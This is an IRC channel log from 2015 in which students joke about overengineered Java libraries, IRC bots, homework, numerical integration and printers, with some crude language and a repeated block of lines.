[2015-03-12T17:21:41-0400] <Hyper> in the meantime, I need to give enough of a crap to do my physics homework x.x
[2015-03-12T17:22:19-0400] <Hyper> JacobEdelman: he says anywhere from 300 - 2500, depending on the site
[2015-03-12T17:22:55-0400] <JacobEdelman> Hyper: what does it depend on?
[2015-03-12T17:23:29-0400] <JacobEdelman> pme you
[2015-03-12T18:10:21-0400] <fwilson> "the Apple Watch’s big innovation is the little dial that sticks out the side"
[2015-03-12T18:10:23-0400] <fwilson> ok
[2015-03-12T18:10:26-0400] <fwilson> that's excellent
[2015-03-12T18:11:11-0400] <bob_twinkles1> 10 10 would apple again
[2015-03-12T18:11:19-0400] <jwoglom> lol
[2015-03-12T18:11:27-0400] <jwoglom> that's so innovative
[2015-03-12T18:11:33-0400] <jwoglom> how have we not thought of this before?!?!
[2015-03-12T18:12:07-0400] <fwilson> i know, right
[2015-03-12T18:12:25-0400] <Hyper> it's paradigm shifting
[2015-03-12T18:12:35-0400] <Hyper> helping us synergize more powerfulyl
[2015-03-12T18:22:05-0400] <fwilson> how innovative
[2015-03-12T18:22:46-0400] <fwilson> Hyper: also lol physics
[2015-03-12T19:36:04-0400] <ernest> random math: find the smallest square triangular number larger than a googol
[2015-03-12T19:36:12-0400] Mode is +nt
[2015-03-12T19:36:13-0400] <+awe> [17:16:03]  <JacobEdelman>	awe: how much does a good looking but simpel website (my mom may be starting a consulting job that requires her to pay for a website)
[2015-03-12T19:36:17-0400] <+awe> JacobEdelman: that's not a complete sentence.
[2015-03-12T19:36:27-0400] <JacobEdelman> *cost
[2015-03-12T19:36:39-0400] <+awe> Free?
[2015-03-12T19:36:54-0400] <+awe> You can host a static website for free on GitHub.
[2015-03-12T19:37:20-0400] <JacobEdelman> ernest: random math: given a set of points, compute the minimum radius of a circle that contains all of the points
[2015-03-12T19:37:28-0400] <JacobEdelman> awe: designing it
[2015-03-12T19:37:43-0400] <+awe> That depends on the designer.
[2015-03-12T19:37:47-0400] <JacobEdelman> yes
[2015-03-12T19:37:53-0400] <JacobEdelman> she wanted estimates
[2015-03-12T19:37:56-0400] <JacobEdelman> I'll pm you
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[2015-03-12T21:52:44-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-12T21:47:11-0400] <failedxyz> wow this is pretty good
[2015-03-12T21:47:16-0400] <bob_twinkles> yeah cslbot has grown in to this like... 8.1k LOC database-backed monstrosity
[2015-03-12T21:47:24-0400] <failedxyz> lol
[2015-03-12T21:47:31-0400] <Tamini> lol
[2015-03-12T21:47:41-0400] <bob_twinkles> there are some nice parts but the core is still kinda sketch
[2015-03-12T21:47:43-0400] <fwilson> ayy
[2015-03-12T21:47:50-0400] <fwilson> failedxyz: it's actually super nice to use
[2015-03-12T21:47:56-0400] <failedxyz> niiice
[2015-03-12T21:48:00-0400] <fwilson> but there are some bugs that i never worked out, like the 100% cpu usage part
[2015-03-12T21:48:03-0400] <failedxyz> lol
[2015-03-12T21:48:17-0400] <alokpathy> That seems like a small issue :P
[2015-03-12T21:48:34-0400] <fwilson> failedxyz: if you'd like a similar framework in java and with more extremely long class names and no documentation, you should use fwilson42/jirc
[2015-03-12T21:48:35-0400] <bob_twinkles> you should be cool like cslbot and log to a database through sqlalchemy =P
[2015-03-12T21:48:37-0400] <fwilson> that was my apcs final project
[2015-03-12T21:48:43-0400] <failedxyz> o
[2015-03-12T21:48:54-0400] <fwilson> who doessn't like RedispatchingEventedTCPClients
[2015-03-12T21:49:35-0400] <bob_twinkles> nobody doesn't like RedispatchingEventedTCPClients
[2015-03-12T21:49:38-0400] <fwilson> or public class ThreadedDelayedOutputQueueMessageSender implements Runnable {
[2015-03-12T21:49:45-0400] <failedxyz> lol
[2015-03-12T21:50:02-0400] <fwilson> also see AFoundationForSimpleEnterpriseSoftware
[2015-03-12T21:50:05-0400] <failedxyz> lol
[2015-03-12T21:50:09-0400] <Tamini> your apcs final project was a java ircbot.
[2015-03-12T21:50:10-0400] <Tamini> oh my god
[2015-03-12T21:50:17-0400] <failedxyz> lol
[2015-03-12T21:50:19-0400] <fwilson> i wrote this incredible math library for java
[2015-03-12T21:50:21-0400] <Tamini> was this freshman or soph year?
[2015-03-12T21:50:21-0400] <Tamini> o-o
[2015-03-12T21:50:23-0400] <fwilson> SimpleJavaEasyMath
[2015-03-12T21:50:32-0400] <failedxyz> see all the other kids in my class
[2015-03-12T21:50:33-0400] <fwilson> https://github.com/AFoundationForSimpleEnterpriseSoftware/SimpleJavaEasyMath
[2015-03-12T21:50:34-0400] <failedxyz> made guessing games
[2015-03-12T21:50:41-0400] <failedxyz> well actually not my class
[2015-03-12T21:50:43-0400] <failedxyz> i never took it
[2015-03-12T21:50:48-0400] <failedxyz> but the people who were taking it
[2015-03-12T21:50:50-0400] <fwilson> lol.
[2015-03-12T21:51:03-0400] <Tamini> the most overachieving i did for an apcs lab
[2015-03-12T21:51:08-0400] <fwilson> double onePlusTwo = SimpleCalculationRunner.runTwo(new SimpleAddition(), new SimpleDouble(1.0), new SimpleDouble(2.0)).getNumber().getDoubleValue(); // please
[2015-03-12T21:51:17-0400] <Tamini> was implementing integrals in a program meant to add things.
[2015-03-12T21:51:20-0400] <fwilson> lol
[2015-03-12T21:51:37-0400] <bob_twinkles> Tamini: euclidian or RK-n?
[2015-03-12T21:51:55-0400] <failedxyz> lol
[2015-03-12T21:52:05-0400] <Tamini> Euclidian, man
[2015-03-12T21:52:07-0400] <Tamini> are you crazy
[2015-03-12T21:52:09-0400] <bob_twinkles> >_>
[2015-03-12T21:52:16-0400] <Tamini> RKN sounds really not fun to implement
[2015-03-12T21:52:17-0400] <failedxyz> see in intro cs all i did was play minecraft
[2015-03-12T21:52:23-0400] <bob_twinkles> RK-4 is literally like 4LOC
[2015-03-12T21:52:29-0400] <Tamini> but i was like
[2015-03-12T21:52:31-0400] <Tamini> a freshman
[2015-03-12T21:52:34-0400] <Tamini> and i didnt know how2computer
[2015-03-12T21:52:45-0400] Mode is +nt
[2015-03-12T21:52:46-0400] <failedxyz> lol
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[2015-03-12T21:53:25-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-12T21:47:50-0400] <fwilson> failedxyz: it's actually super nice to use
[2015-03-12T21:47:56-0400] <failedxyz> niiice
[2015-03-12T21:48:00-0400] <fwilson> but there are some bugs that i never worked out, like the 100% cpu usage part
[2015-03-12T21:48:03-0400] <failedxyz> lol
[2015-03-12T21:48:17-0400] <alokpathy> That seems like a small issue :P
[2015-03-12T21:48:34-0400] <fwilson> failedxyz: if you'd like a similar framework in java and with more extremely long class names and no documentation, you should use fwilson42/jirc
[2015-03-12T21:48:35-0400] <bob_twinkles> you should be cool like cslbot and log to a database through sqlalchemy =P
[2015-03-12T21:48:37-0400] <fwilson> that was my apcs final project
[2015-03-12T21:48:43-0400] <failedxyz> o
[2015-03-12T21:48:54-0400] <fwilson> who doessn't like RedispatchingEventedTCPClients
[2015-03-12T21:49:35-0400] <bob_twinkles> nobody doesn't like RedispatchingEventedTCPClients
[2015-03-12T21:49:38-0400] <fwilson> or public class ThreadedDelayedOutputQueueMessageSender implements Runnable {
[2015-03-12T21:49:45-0400] <failedxyz> lol
[2015-03-12T21:50:02-0400] <fwilson> also see AFoundationForSimpleEnterpriseSoftware
[2015-03-12T21:50:05-0400] <failedxyz> lol
[2015-03-12T21:50:09-0400] <Tamini> your apcs final project was a java ircbot.
[2015-03-12T21:50:10-0400] <Tamini> oh my god
[2015-03-12T21:50:17-0400] <failedxyz> lol
[2015-03-12T21:50:19-0400] <fwilson> i wrote this incredible math library for java
[2015-03-12T21:50:21-0400] <Tamini> was this freshman or soph year?
[2015-03-12T21:50:21-0400] <Tamini> o-o
[2015-03-12T21:50:23-0400] <fwilson> SimpleJavaEasyMath
[2015-03-12T21:50:32-0400] <failedxyz> see all the other kids in my class
[2015-03-12T21:50:33-0400] <fwilson> https://github.com/AFoundationForSimpleEnterpriseSoftware/SimpleJavaEasyMath
[2015-03-12T21:50:34-0400] <failedxyz> made guessing games
[2015-03-12T21:50:41-0400] <failedxyz> well actually not my class
[2015-03-12T21:50:43-0400] <failedxyz> i never took it
[2015-03-12T21:50:48-0400] <failedxyz> but the people who were taking it
[2015-03-12T21:50:50-0400] <fwilson> lol.
[2015-03-12T21:51:03-0400] <Tamini> the most overachieving i did for an apcs lab
[2015-03-12T21:51:08-0400] <fwilson> double onePlusTwo = SimpleCalculationRunner.runTwo(new SimpleAddition(), new SimpleDouble(1.0), new SimpleDouble(2.0)).getNumber().getDoubleValue(); // please
[2015-03-12T21:51:17-0400] <Tamini> was implementing integrals in a program meant to add things.
[2015-03-12T21:51:20-0400] <fwilson> lol
[2015-03-12T21:51:37-0400] <bob_twinkles> Tamini: euclidian or RK-n?
[2015-03-12T21:51:55-0400] <failedxyz> lol
[2015-03-12T21:52:05-0400] <Tamini> Euclidian, man
[2015-03-12T21:52:07-0400] <Tamini> are you crazy
[2015-03-12T21:52:09-0400] <bob_twinkles> >_>
[2015-03-12T21:52:16-0400] <Tamini> RKN sounds really not fun to implement
[2015-03-12T21:52:17-0400] <failedxyz> see in intro cs all i did was play minecraft
[2015-03-12T21:52:23-0400] <bob_twinkles> RK-4 is literally like 4LOC
[2015-03-12T21:52:29-0400] <Tamini> but i was like
[2015-03-12T21:52:31-0400] <Tamini> a freshman
[2015-03-12T21:52:34-0400] <Tamini> and i didnt know how2computer
[2015-03-12T21:52:45-0400] <failedxyz> lol
[2015-03-12T21:52:56-0400] <failedxyz> pls teach me how2computer ;_;
[2015-03-12T21:52:58-0400] <bob_twinkles> but x error instead of like x^2
[2015-03-12T21:53:08-0400] <Tamini> oh huh
[2015-03-12T21:53:16-0400] <Tamini> well now i know to just
[2015-03-12T21:53:17-0400] <Tamini> taylor things
[2015-03-12T21:53:28-0400] Mode is +nt
[2015-03-12T21:53:30-0400] <fwilson> failedxyz: lol intro cs
[2015-03-12T21:53:41-0400] <failedxyz> ok our intro cs teacher
[2015-03-12T21:53:43-0400] <failedxyz> is so retarded
[2015-03-12T21:53:53-0400] <fwilson> we had this cryptography problem
[2015-03-12T21:53:53-0400] <bob_twinkles> https://github.com/bobtwinkles/vf_defformation/blob/master/web/approximation/function.dart#L3-L19 <3 RK4
[2015-03-12T21:53:54-0400] <fwilson> we had to rot13
[2015-03-12T21:53:57-0400] <fwilson> the class was in python
[2015-03-12T21:54:00-0400] <failedxyz> he is actually retarded
[2015-03-12T21:54:13-0400] <failedxyz> here let me find some code my friend who's in intro cs right now sent me
[2015-03-12T21:54:20-0400] <bob_twinkles> fwilson: code golf time?
[2015-03-12T21:54:21-0400] <fwilson> my code: print(__import__('codecs').encode(input(), 'rot13'))
[2015-03-12T21:54:28-0400] <failedxyz> lol
[2015-03-12T21:54:29-0400] <bob_twinkles> yis
[2015-03-12T21:54:32-0400] <Tamini> fwilson: I dare you to take compphys
[2015-03-12T21:54:34-0400] <fwilson> no
[2015-03-12T21:54:36-0400] <Tamini> and try to code golf that class
[2015-03-12T21:54:42-0400] <Tamini> it's actually really fun
[2015-03-12T21:54:42-0400] <fwilson> i'm golfing AI
[2015-03-12T21:54:45-0400] <Tamini> LOL
[2015-03-12T21:54:47-0400] <fwilson> or, some of it
[2015-03-12T21:54:47-0400] <Tamini> WAIT
[2015-03-12T21:54:53-0400] <bob_twinkles> Wolfram golf T_T
[2015-03-12T21:54:53-0400] <fwilson> stueben is actually giving me credit on the quizze
[2015-03-12T21:54:54-0400] <Tamini> GOLF SOBEL AND SHOW ME
[2015-03-12T21:54:55-0400] <Tamini> :P
[2015-03-12T21:54:55-0400] <fwilson> *quizzes
[2015-03-12T21:54:59-0400] <Tamini> well, i mean
[2015-03-12T21:55:02-0400] <+awe> fwilson: your simple Java math library isn't enterprise scale.
[2015-03-12T21:55:04-0400] <Tamini> he's okay with accurate golfed code
[2015-03-12T21:55:04-0400] <fwilson> Tamini: no, my image processing code is incredibly nice and modular
[2015-03-12T21:55:07-0400] <fwilson> awe: it's web scale
[2015-03-12T21:55:07-0400] <Tamini> just not wrong golfed code
[2015-03-12T21:55:09-0400] <Tamini> aw :<
[2015-03-12T21:55:10-0400] <+awe> fwilson: there's no factories and factory factories and so forth.
[2015-03-12T21:55:10-0400] <fwilson> awe: so it's ok
[2015-03-12T21:55:13-0400] <failedxyz> nvm it's gone
[2015-03-12T21:55:17-0400] <fwilson> awe: jirc has ModuleFactories
[2015-03-12T21:55:18-0400] <+awe> fwilson: Needs more engineering.
[2015-03-12T21:55:31-0400] <+awe> fwilson: Is your IRC library better than mine though? ;)
[2015-03-12T21:55:32-0400] <fwilson> it's not overengineered enough for you?
[2015-03-12T21:55:34-0400] <fwilson> :(
[2015-03-12T21:55:36-0400] <fwilson> awe: what does your irc library do
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[2015-03-12T21:55:53-0400] <+awe> https://github.com/aatxe/irc
[2015-03-12T21:56:36-0400] <failedxyz> how many cs classes do your schools have
[2015-03-12T21:57:25-0400] <+awe> failedxyz: My high school had three.
[2015-03-12T21:57:29-0400] <+awe> failedxyz: My university has many.
[2015-03-12T21:57:39-0400] <failedxyz> o
[2015-03-12T21:57:57-0400] <ubuntor> 5, although 2 are foundations and accelerated foundations
[2015-03-12T21:58:09-0400] <failedxyz> that's probably more advanced than my school's classes
[2015-03-12T21:58:21-0400] <Tamini> technically there's 6
[2015-03-12T21:58:24-0400] <failedxyz> wait quick technical question, anyone here familiar with mongo
[2015-03-12T21:58:26-0400] <Tamini> computational physics is THE cs class
[2015-03-12T21:58:36-0400] <Tamini> we learn to write code that can't be read a day later
[2015-03-12T21:58:37-0400] <Tamini> :P
[2015-03-12T21:58:44-0400] <failedxyz> lol
[2015-03-12T21:59:14-0400] <Tamini> I have a working function in mathematica
[2015-03-12T21:59:24-0400] <Tamini> and basically I have two anonymous functions and a bunch of maps
[2015-03-12T21:59:26-0400] <failedxyz> lol
[2015-03-12T21:59:28-0400] <Tamini> and I have no idea what is does
[2015-03-12T21:59:30-0400] <+awe> failedxyz: I can tell you exactly how bad mongo is on a scale of 1-11. :)
[2015-03-12T21:59:37-0400] <Tamini> but it appears to do what it's supposed to
[2015-03-12T21:59:38-0400] <failedxyz> lol wait nvm i figured it out
[2015-03-12T21:59:42-0400] <ubuntor> needs moar webscale
[2015-03-12T21:59:53-0400] <Tamini> failedxyz: are you fixing jmo's site
[2015-03-12T21:59:57-0400] <failedxyz> nope
[2015-03-12T22:00:04-0400] <Tamini> did you give up on is ;-;
[2015-03-12T22:00:05-0400] <Tamini> us*
[2015-03-12T22:00:11-0400] <failedxyz> no it doesn't need fixing
[2015-03-12T22:00:13-0400] <failedxyz> it's done
[2015-03-12T22:00:16-0400] <bob_twinkles> Wolfram is probably the worst accidentally terrible language ever
[2015-03-12T22:00:17-0400] <Tamini> did jmo fix the logo
[2015-03-12T22:00:19-0400] <failedxyz> i just need him to not be lazy
[2015-03-12T22:00:21-0400] <failedxyz> and fix the icon
[2015-03-12T22:00:21-0400] <failedxyz> yeah
[2015-03-12T22:00:23-0400] <failedxyz> idk
[2015-03-12T22:00:51-0400] <bob_twinkles> i.e. excluding intentionally esoteric languages, Woflram is  just.. bad
[2015-03-12T22:01:20-0400] <Tamini> he needs to not be lazy and write damn problems
[2015-03-12T22:01:24-0400] <failedxyz> ^
[2015-03-12T22:01:25-0400] <Tamini> thats what he needs to do
[2015-03-12T22:01:28-0400] <failedxyz> how many problems do we have
[2015-03-12T22:02:02-0400] <Tamini> i dont even knoww
[2015-03-12T22:02:09-0400] <failedxyz> can we reduce the competition to 3 days
[2015-03-12T22:02:13-0400] <failedxyz> so not everyone gets perfect score
[2015-03-12T22:02:19-0400] <Tamini> or even 24 hours pls
[2015-03-12T22:02:23-0400] <failedxyz> yeah
[2015-03-12T22:02:25-0400] <failedxyz> something like that
[2015-03-12T22:02:28-0400] <jwoglom> fwilson: what project?
[2015-03-12T22:03:03-0400] <jwoglom> also, you can't beat afoundationforsimpleenterprisesoftware
[2015-03-12T22:03:27-0400] <failedxyz> lol
[2015-03-12T22:03:50-0400] <fwilson> yeah you cannot beat that
[2015-03-12T22:03:58-0400] <fwilson> it's actually the limit of characters for a username
[2015-03-12T22:04:03-0400] <Tamini> wait actually
[2015-03-12T22:04:04-0400] <jwoglom> lol really?
[2015-03-12T22:04:06-0400] <jwoglom> figured it'd be close
[2015-03-12T22:04:09-0400] <fwilson> yes
[2015-03-12T22:04:12-0400] <jwoglom> also isn't it a group
[2015-03-12T22:04:16-0400] <jwoglom> or organization, or whatever
[2015-03-12T22:04:18-0400] <fwilson> yeah
[2015-03-12T22:04:20-0400] <fwilson> organization
[2015-03-12T22:04:23-0400] <failedxyz> wait
[2015-03-12T22:04:23-0400] <fwilson> 39-character limit for all user names
[2015-03-12T22:04:24-0400] <failedxyz> what's the limit
[2015-03-12T22:04:25-0400] <failedxyz> oh
[2015-03-12T22:04:29-0400] <jwoglom> nice :P
[2015-03-12T22:04:45-0400] <jwoglom> simplejavaeasymath probably doesn't get as close to the repo name charlimit though
[2015-03-12T22:04:58-0400] <jwoglom> have you figured out what that limit is? 
[2015-03-12T22:05:10-0400] <+awe> fwilson: The code itself is just so not overengineered enough.
[2015-03-12T22:05:30-0400] <fwilson> ok
[2015-03-12T22:05:30-0400] <+awe> fwilson: YOU NEED A SimpleDoubleFactory and a SimpleDoubleInterface and a SimpleDoubleFactoryManager
[2015-03-12T22:05:35-0400] <fwilson> oh, true...
[2015-03-12T22:05:37-0400] <failedxyz> lol
[2015-03-12T22:05:43-0400] <fwilson> ooh
[2015-03-12T22:05:49-0400] <+awe> And one of those for everything.
[2015-03-12T22:05:51-0400] <fwilson> i can genericize the SimpleNumbers
[2015-03-12T22:05:55-0400] <fwilson> into a SimpleNumberConfigurationManager
[2015-03-12T22:05:58-0400] <+awe> Yes!
[2015-03-12T22:05:58-0400] <failedxyz> LOL
[2015-03-12T22:06:00-0400] <fwilson> which holds a Class object, Double or Integer
[2015-03-12T22:06:00-0400] <+awe> Now you're thinking!
[2015-03-12T22:06:10-0400] <failedxyz> java pls
[2015-03-12T22:06:22-0400] <fwilson> yay, 1/3rd done with my homework ¯\_(ツ)_/¯
[2015-03-12T22:06:24-0400] <failedxyz> need a MathFactory
[2015-03-12T22:06:32-0400] • awe: has written plenty of Java, but never written a "Factory."
[2015-03-12T22:06:36-0400] <jwoglom> awe: wow, you overengineer more than fwilson? impressive :P
[2015-03-12T22:06:36-0400] <failedxyz> lol
[2015-03-12T22:06:40-0400] <Tamini> fwilson: you're...getting work done while on irc?
[2015-03-12T22:06:41-0400] <Tamini> HOW
[2015-03-12T22:06:43-0400] <+awe> jwoglom: I know HOw to.
[2015-03-12T22:06:47-0400] <fwilson> Tamini: uh
[2015-03-12T22:06:49-0400] <fwilson> magic
[2015-03-12T22:06:50-0400] <+awe> Tamini: I do it all the time
[2015-03-12T22:07:00-0400] <Tamini> darn
[2015-03-12T22:07:03-0400] <Tamini> but corwin is the fairy
[2015-03-12T22:07:09-0400] <Hyper> awe: woo never written a factory!
[2015-03-12T22:07:09-0400] <jwoglom> Tamini: multitask! :P
[2015-03-12T22:07:11-0400] <Tamini> why are so many tj people magical creatures
[2015-03-12T22:07:11-0400] <Hyper> woo
[2015-03-12T22:07:20-0400] <+awe> Hyper: Yeah, dependency injection is overengineered trash.
[2015-03-12T22:07:26-0400] <fwilson> what?
[2015-03-12T22:07:28-0400] <fwilson> no it's not
[2015-03-12T22:07:34-0400] <fwilson> i need more of that
[2015-03-12T22:07:38-0400] <bob_twinkles> what even is DI
[2015-03-12T22:07:40-0400] <fwilson> magic
[2015-03-12T22:07:45-0400] <Hyper> wizardry
[2015-03-12T22:07:48-0400] <Hyper> witchcraft
[2015-03-12T22:07:51-0400] <jwoglom> Tamini: it's just how tj is, i suppose
[2015-03-12T22:07:52-0400] <bob_twinkles> I looked in to it once and it seemed like it was just weird #include
[2015-03-12T22:07:55-0400] <+awe> It's Java-speak for "I'm going to make everything needlessly complicated to make things 'testable'"
[2015-03-12T22:08:11-0400] <Hyper> inputting of objects conforming to a set interface and using inputting different types of those for testing
[2015-03-12T22:08:36-0400] <Hyper> I'm rereading that
[2015-03-12T22:08:39-0400] <Hyper> it didn't parse well
[2015-03-12T22:08:43-0400] <Hyper> objects and shit yo
[2015-03-12T22:08:55-0400] <fwilson> what my printer is not working
[2015-03-12T22:08:57-0400] <fwilson> this is a shame
[2015-03-12T22:08:59-0400] <fwilson> guess i can't do my homework
[2015-03-12T22:09:03-0400] <jwoglom> fwilson: isn't that all printers ever do
[2015-03-12T22:09:05-0400] <jwoglom> not work
[2015-03-12T22:09:10-0400] <fwilson> yeah
[2015-03-12T22:09:12-0400] <jwoglom> unless you pay like >$500 for one
[2015-03-12T22:09:12-0400] <bob_twinkles> oh, it's so you can easily swap in mocks for testing
[2015-03-12T22:09:16-0400] <fwilson> but this one is especially not working
[2015-03-12T22:09:26-0400] <bob_twinkles> interesting but probably requires a sh!ton of magic
[2015-03-12T22:09:27-0400] <jwoglom> fwilson: syslab printer? :P
[2015-03-12T22:09:32-0400] <Hyper> fwilson: I contend that printers are evil devil-magic that are designed to cause us mere mortals anguish and misery
[2015-03-12T22:09:33-0400] <jwoglom> i use that for everything nowadays tbh
[2015-03-12T22:09:44-0400] <fwilson> i'm trying to print out an article to read
[2015-03-12T22:09:51-0400] <fwilson> like
[2015-03-12T22:09:52-0400] <Tamini> why do you need to print it
[2015-03-12T22:09:57-0400] <jwoglom> it takes like 30 seconds at school to print something but 5-10 minutes to get a printer to cooperate at home
[2015-03-12T22:10:01-0400] <fwilson> Tamini: think of it as a second monitor displaying a static image
[2015-03-12T22:10:04-0400] <bob_twinkles> because reading nonfiction on screens suck
[2015-03-12T22:10:08-0400] <Tamini> why not uh
[2015-03-12T22:10:13-0400] <fwilson> what
[2015-03-12T22:10:14-0400] <fwilson> no
[2015-03-12T22:10:16-0400] <Tamini> just have a second monitor displaying a static image
[2015-03-12T22:10:17-0400] <fwilson> can't have that
[2015-03-12T22:10:21-0400] <fwilson> because i don't have an hdmi monitor
[2015-03-12T22:10:22-0400] <Hyper> reading fiction on screens is occasionally ok though ;)
[2015-03-12T22:10:27-0400] <Tamini> wait, you dont
[2015-03-12T22:10:28-0400] <Tamini> actually
[2015-03-12T22:10:31-0400] <jwoglom> Tamini: can you carry taht second monitor around and turn it in to a teacher though?
[2015-03-12T22:10:38-0400] <bob_twinkles> Hyper: indeed
[2015-03-12T22:10:39-0400] <jwoglom> without being stared at confusingly?
[2015-03-12T22:10:40-0400] <Hyper> CAN YOU WRITE ON THAT MARKER?
[2015-03-12T22:10:49-0400] <fwilson> ok so i'm just going to accept that i'm not getting this done before midnight
[2015-03-12T22:10:51-0400] <Hyper> DOES IT CONFORM TO GOOD HCI STANDARDS?
[2015-03-12T22:10:51-0400] <fwilson> and
[2015-03-12T22:10:54-0400] <fwilson> AUGH DAYLIGHT SAVINGS
[2015-03-12T22:11:05-0400] <Hyper> it's been a week get used to it :P
[2015-03-12T22:11:12-0400] <jwoglom> *4 days
[2015-03-12T22:11:14-0400] <fwilson> how is that long enough
[2015-03-12T22:11:15-0400] <jwoglom> WE WILL NEVER GET USED TO IT
[2015-03-12T22:11:31-0400] <jwoglom> UNTIL SEVERAL MONTHS FROM NOW WHEN WE HAVE TO DEAL WITH IT AGAIN
[2015-03-12T22:11:51-0400] <fwilson> yes. i found something i can pull quotes from and make bs out of the air
[2015-03-12T22:11:53-0400] <fwilson> it's amazing
[2015-03-12T22:12:01-0400] <fwilson> MISSION ACCOMPLISHED
[2015-03-12T22:12:03-0400] <jwoglom> fwilson: oh really?
[2015-03-12T22:12:05-0400] <jwoglom> how do
[2015-03-12T22:12:10-0400] <fwilson> jwoglom: newspaper assignment
[2015-03-12T22:12:26-0400] <jwoglom> for hurowitz?
[2015-03-12T22:12:28-0400] <fwilson> you guys had it cancelled :(
[2015-03-12T22:12:30-0400] <fwilson> yeah
[2015-03-12T22:12:31-0400] <jwoglom> she cancelled that for us, yeah :P
[2015-03-12T22:12:36-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-12T22:12:39-0400] <jwoglom> funhum!!
[2015-03-12T22:12:40-0400] <fwilson> she's going to give us an extension tomorrow
[2015-03-12T22:12:42-0400] <fwilson> you just watch
[2015-03-12T22:12:46-0400] <jwoglom> well, henry/hurowitz funhum
[2015-03-12T22:12:51-0400] <jwoglom> our funhum > your funhum
[2015-03-12T22:12:56-0400] <fwilson> no ours is good
[2015-03-12T22:13:13-0400] <jwoglom> don't you not have the two periods right next to each other in the day though
[2015-03-12T22:13:16-0400] <Tamini> struck gilbert pls
[2015-03-12T22:13:21-0400] <Tamini> we have easy teachers AND get AP weighting
[2015-03-12T22:13:36-0400] <bob_twinkles> lol hum
[2015-03-12T22:13:44-0400] <fwilson> i have easier teachers AND rarely have to do work
[2015-03-12T22:13:45-0400] <Tamini> i think
[2015-03-12T22:13:46-0400] <fwilson> this is like
[2015-03-12T22:13:47-0400] <Tamini> i accidentally signed up for lke
[2015-03-12T22:13:49-0400] <Tamini> senior sem
[2015-03-12T22:13:49-0400] <fwilson> the most homework i've had in history *ever*
[2015-03-12T22:14:07-0400] <jwoglom> "accidentally"?
[2015-03-12T22:14:09-0400] <fwilson> at least it's an excuse to listen to the FTL soundtrack a bunch of times ¯\_(ツ)_/¯
[2015-03-12T22:15:20-0400] <fwilson> jwoglom: hmm, do you know what religious affiliation hurowitz has? i'm trying to get the most points and i'm not sure whether to do it by talking about religious wars or not
[2015-03-12T22:15:29-0400] <fwilson> ^ that was partially a joke
[2015-03-12T22:15:31-0400] <fwilson> only partially
[2015-03-12T22:15:38-0400] <jwoglom> fwilson: lol
[2015-03-12T22:15:40-0400] <jwoglom> i dunno
[2015-03-12T22:15:50-0400] <jwoglom> she mentioned she is jewish
[2015-03-12T22:15:57-0400] <fwilson> ooh
[2015-03-12T22:16:00-0400] <Hyper> her last name is horowitz.
[2015-03-12T22:16:02-0400] <fwilson> ok i should bash religious wars then
[2015-03-12T22:16:06-0400] <jwoglom> but possibly just ethnically/doesn't actually follow it
[2015-03-12T22:16:06-0400] <Hyper> hurowitz*
[2015-03-12T22:16:16-0400] <fwilson> thanks :D
[2015-03-12T22:17:46-0400] <fwilson> wow
[2015-03-12T22:17:50-0400] <fwilson> i forgot how good vim was for writing
[2015-03-12T22:18:02-0400] <fwilson> i guess i treat everything like code, so
[2015-03-12T22:18:15-0400] <fwilson> meh
[2015-03-12T22:20:07-0400] <fwilson> this is a nice channel
[2015-03-12T22:20:14-0400] <Tamini> yes
[2015-03-12T22:20:23-0400] <Tamini> I wouldn't bring you to a not nice channel
[2015-03-12T22:20:30-0400] <fwilson> i like how i'm the only one uncloaked
[2015-03-12T22:20:38-0400] <Hyper> fwilson: NO WE'RE AWFUL FUCK SHIT
[2015-03-12T22:20:43-0400] <fwilson> Hyper: WOW RUDE
[2015-03-12T22:20:46-0400] <fwilson> :(
[2015-03-12T22:20:47-0400] <Hyper> I KNOW
[2015-03-12T22:20:51-0400] <Hyper> I'M AN AWFUL PERSON
[2015-03-12T22:20:54-0400] <fwilson> WOW YOU ARE
[2015-03-12T22:20:57-0400] <fwilson> WHY ARE WE TALKING IN ALL CAPS
[2015-03-12T22:21:05-0400] <Hyper> BECAUSE IT INDICATES YELLING
[2015-03-12T22:21:09-0400] <Hyper> HOW CAN I CAPS HARDER?
[2015-03-12T22:21:16-0400] <bob_twinkles> LIKE THIS
[2015-03-12T22:21:24-0400] <Hyper> THAT LOOKS THE SAME
[2015-03-12T22:22:03-0400] <fwilson> ＦＵＬＬ ＷＩＤＴＨ ＨＡＲＤＥＲ
[2015-03-12T22:22:19-0400] <bob_twinkles>  m      mmmmm  m    m mmmmmm       mmmmmmm m    m mmmmm   mmmm 
[2015-03-12T22:22:22-0400] <bob_twinkles>  #        #    #  m"  #               #    #    #   #    #"   "
[2015-03-12T22:22:24-0400] <bob_twinkles>  #        #    #m#    #mmmmm          #    #mmmm#   #    "#mmm 
[2015-03-12T22:22:25-0400] <Tamini> you all are bad
[2015-03-12T22:22:26-0400] <bob_twinkles>  #        #    #  #m  #               #    #    #   #        "#
[2015-03-12T22:22:28-0400] <fwilson> ⒸⒾⓇⒸⓁⒺⒹ ⒸⒽⒶⓇⒶⒸⓉⒺⓇⓈ ⓂⓄⓇⒺ
[2015-03-12T22:22:28-0400] <bob_twinkles>  #mmmmm mm#mm  #   "m #mmmmm          #    #    # mm#mm  "mmm#"
[2015-03-12T22:22:37-0400] <fwilson> 𝕌ℕ𝕀ℂ𝕆𝔻𝔼 𝔽𝕆ℝ 𝕃𝕀𝔽𝔼
[2015-03-12T22:22:38-0400] <Hyper> C-C-C-C-C-C-C-COMBO BREAKER
[2015-03-12T22:23:02-0400] <LittleBobbyTables> awe did you die
[2015-03-12T22:23:08-0400] <jwoglom>                              ""#
[2015-03-12T22:23:10-0400] <jwoglom>   mmm   m   m  m   m           #    mmmmm   mmm    mmm
[2015-03-12T22:23:12-0400] <jwoglom>  "   #  "m m"  "m m"           #    # # #  "   #  #" "#
[2015-03-12T22:23:12-0400] • fwilson: <+awe> no
[2015-03-12T22:23:14-0400] <jwoglom>  m"""#   #m#    #m#            #    # # #  m"""#  #   #
[2015-03-12T22:23:16-0400] <jwoglom>  "mm"#   "#     "#             "mm  # # #  "mm"#  "#m#"
[2015-03-12T22:23:18-0400] <jwoglom>          m"     m"
[2015-03-12T22:23:20-0400] <jwoglom>         ""     ""
[2015-03-12T22:23:22-0400] <fwilson> jwoglom: ayy lmao
[2015-03-12T22:23:31-0400] <Hyper> ayy
[2015-03-12T22:23:34-0400] <bob_twinkles> fwilson combo breaker'd
[2015-03-12T22:23:48-0400] <+awe> fwilson: cloaking is by default.
